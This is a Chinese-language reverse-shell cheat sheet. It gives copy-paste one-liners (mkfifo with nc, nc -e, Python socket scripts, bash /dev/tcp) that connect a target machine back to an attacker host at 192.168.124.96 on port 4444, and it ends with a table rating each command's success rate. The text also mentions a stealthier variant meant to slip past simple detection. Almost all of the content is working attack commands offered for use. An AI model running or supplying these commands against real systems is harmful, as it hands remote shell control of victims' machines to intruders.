Reverse Shell
场景假设
- 攻击机 IP:
192.168.124.96 - 监听端口:
4444 - 目标机可能默认是 Zsh
攻击机(Kali 或任意机器)先监听(只做一次)
目标机上的操作(分两种 shell 情况)
情况1:你当前就是在 Zsh 下(最常见)
直接敲下面任意一条就行,按可靠性排序:
- 最推荐(mkfifo + nc,几乎 100% 成功)
rm /tmp/f 2>/dev/null; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.124.96 4444 > /tmp/f
- 如果目标机装了 netcat traditional(有 -e 参数)
- 如果有 Python3(几乎所有现代系统都有)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.124.96",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
- 如果有 Python(旧版语法)
python -c 'import socket,subprocess,os;s=socket.socket(2,1);s.connect(("192.168.124.96",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]);'
情况2:你已经切换到 Bash 了,或者目标默认就是 Bash
那就可以直接用 Bash 独有的 /dev/tcp 神器了:
- 最简洁(推荐)
- 一行让 Zsh 直接调用 Bash 来执行(即使当前是 Zsh 也能用)
- 更隐蔽一点(推荐用于绕过一些简单检测)
快速判断当前是 Zsh 还是 Bash
终极一键表(直接复制粘贴就行)
| 当前 Shell | 命令(直接复制) | 成功率 | 备注 |
|---|---|---|---|
| Zsh/Bash | rm /tmp/f 2>/dev/null; mkfifo /tmp/f; cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.124.96 4444 >/tmp/f |
★★★★★ | 最稳,几乎无条件成功 |
| Zsh/Bash | bash -c 'bash -i >& /dev/tcp/192.168.124.96/4444 0>&1' |
★★★★☆ | 需要 bash 支持 /dev/tcp |
| Zsh/Bash | nc 192.168.124.96 4444 -e /bin/bash |
★★★★☆ | 需要 nc 支持 -e(traditional) |
| Zsh/Bash | python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.124.96",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/bash","-i"])' |
★★★★☆ | 需要 python3 |
总结一句话:
- 在 Zsh 里别指望
/dev/tcp,直接上 mkfifo + nc 那一行,几乎百发百中。 - 如果你能切到 Bash,或者用
bash -c强制调用 Bash,那/dev/tcp那一行最短最好看。